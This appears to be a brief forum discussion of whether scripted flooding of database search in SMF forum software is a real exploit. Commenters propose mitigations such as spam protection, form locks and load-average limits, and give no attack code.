cant fix this
this applies to any systm that does search when their isnt lots of servers to handel the load
I am not sure if this counts as an "exploit", especially since the same sort of crap could be done by script to just about ANY site running a script with db search capability....
Would it make sense to have a spamProtection like in SMF2?
SMF 2.0 stops this, also 1.1 can stop it with the form locks in the DB for high load.
Maybe just add a load average for searching in the default DB schema?
Else natural progression of the software has eradicated this, no longer a bug?
